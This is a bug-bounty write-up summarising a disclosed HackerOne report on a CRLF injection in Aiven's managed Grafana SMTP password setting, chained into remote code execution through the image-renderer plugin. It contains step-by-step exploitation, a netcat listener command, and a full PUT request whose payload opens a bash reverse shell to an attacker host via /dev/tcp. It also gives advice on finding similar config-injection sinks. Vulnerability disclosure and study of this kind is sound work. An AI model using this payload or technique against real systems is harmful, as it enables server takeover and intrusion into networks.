# Grafana RCE via SMTP server parameter injection

CRLF injection in Aiven Grafana SMTP password config let attacker inject image-renderer rendering_args, achieving RCE on the Grafana server.

- Payout: $5,000
- Severity: critical
- Program: Aiven Ltd
- Found by: jarij
- Disclosed: 2022-11-08
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1200647
- Library page: https://bugbountylibrary.com/r/h1%3A1200647
- Tags: area:cloud domain:cloud impact:internal-access impact:rce kind:bounty platform:hackerone sev:critical technique:chained technique:incomplete-fix vuln:crlf-injection vuln:misconfiguration vuln:rce

**Target:** Aiven for Grafana managed service config API (smtp_server.password) and grafana-image-renderer plugin
**Root cause:** The SMTP password config value accepted newline characters and was written into Grafana's INI config without sanitization, allowing injection of arbitrary config sections/keys.
**Steps:**
1. Create an Aiven Grafana instance and capture the aivenv1 token from browser traffic.
2. Start listener: `nc -n -lvp 4444`.
3. Send `PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME` to console.aiven.io with `Authorization: aivenv1 TOKEN` and JSON body setting `user_config.smtp_server.password` to `x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1`.
4. Browse to `https://INSTANCE_SUBDOMAIN.aivencloud.com/render/x` to trigger the renderer and execute the injected command.
**How found:** Prior report #1180653 showed parameter injection via a different entrypoint; researcher hypothesized the SMTP password field similarly lacked newline sanitization and tested injecting a plugin config section to hijack renderer args.
**Exploitation:** Attacker with a valid aivenv1 token updates the Grafana service config, injecting a new `[plugin.grafana-image-renderer]` section with `rendering_args=--renderer-cmd-prefix=...` that spawns a reverse shell to the attacker's host. Triggering any render endpoint executes the prefix command, yielding shell on the Grafana server.
**Escalation:** From RCE on the Grafana server, attacker could access/modify Grafana data and potentially pivot into other hosts on the Aiven network.
**Insight:** Config fields that get serialized into INI/TOML/YAML files are CRLF-injection sinks even when they look like plain strings; target plugin sections whose args are passed to a shell (e.g. grafana-image-renderer rendering_args) to convert config injection into RCE.

## Proof of concept (copied exactly from the original report)

**PUT request injecting CRLF into SMTP password**

```
PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
Host: console.aiven.io
Connection: keep-alive
Accept: application/json
Authorization: aivenv1 AIVEN_TOKEN_HERE
X-Aiven-Client-Version: aiven-console/3.5.1-1104.g2809991854
Content-Type: application/json
Origin: https://console.aiven.io

{
    "user_config": {
        "smtp_server": {
            "host": "example.org",
            "port": 1,
            "from_address": "x@examle.org",
            "password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
        }
    }
}
```

